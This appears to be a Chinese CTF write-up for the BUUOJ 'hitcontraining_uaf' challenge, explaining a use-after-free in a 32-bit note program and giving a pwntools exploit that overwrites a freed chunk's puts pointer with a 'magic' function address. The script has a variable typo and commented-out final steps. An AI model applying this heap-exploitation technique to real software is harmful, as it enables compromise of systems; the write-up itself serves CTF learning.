【pwn】hitcontraining_uaf --堆利用之uaf

先检查程序的保护情况

32位程序,堆栈不可执行

看ida

经典的菜单题,根据题目的uaf,判断该题有uaf漏洞,看一下delete函数

两次free没置空指针,确实存在uaf漏洞,再看一下add函数和print函数

add函数这里,就是创建了两个堆块,第一个堆块八字节数据中,前四个字节存着puts函数地址,后四个字节存着新建堆块的地址,这个堆块才是我们可以使用和操纵的地方,再来看一下print函数

print函数这里根据索引用puts函数输入我们写入堆块的内容,由于前面的delete函数中的指针没有置空,即使free掉第一个堆块,通过索引我们还是可以打印第一个堆块的内容

这里的利用思路是先创建出两个堆块,然后再删除这两个堆块

add(16,b'aaaa')

add(16,b'bbbb')

delete(0)

delete(1)

我们debug看一下

可以发现,实际上是创建了四个堆块,跟上面的分析一样,再来看一下fastbins

也就是说我们再申请一个0x8大小的堆块的话,其实就是申请了两个0x8的堆块,这个过程为先申请了0x9c03028地址的堆块,然后再申请0x9c03000地址的堆块,写入magic函数地址,会发现,这其实就是哦我们上面第一个堆块存puts函数的地址,现在变成了magic函数地址,那我再print(0)时就会去执行magic函数

magic函数如下:

完整exp:

from pwn import *

context(os='linux',arch='i386',log_level='debug')

#io=remote("node5.buuoj.cn",27156)

ifo=process("./pwn")

magic_addr=0x8048945

def debug():

    gdb.attach(io)

    pause()

def add(size,content):

    io.recvuntil(b"Your choice :")

    io.sendline(b"1")

    io.recvuntil(b"Note size :")

    io.sendline(str(size))

    io.recvuntil(b"Content :")

    io.sendline(content)

def printt(index):

    io.recvuntil(b"Your choice :")

    io.sendline(b"3")

    io.sendline(str(index))

def delete(index):

    io.recvuntil(b"Your choice :")

    io.sendline(b"2")

    io.recvuntil(b"Index :")

    io.sendline(str(index))

add(16,b'aaaa')

add(16,b'bbbb')

delete(0)

delete(1)

#add(8,p32(magic_addr))

debug()

#printt(0)

#io.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值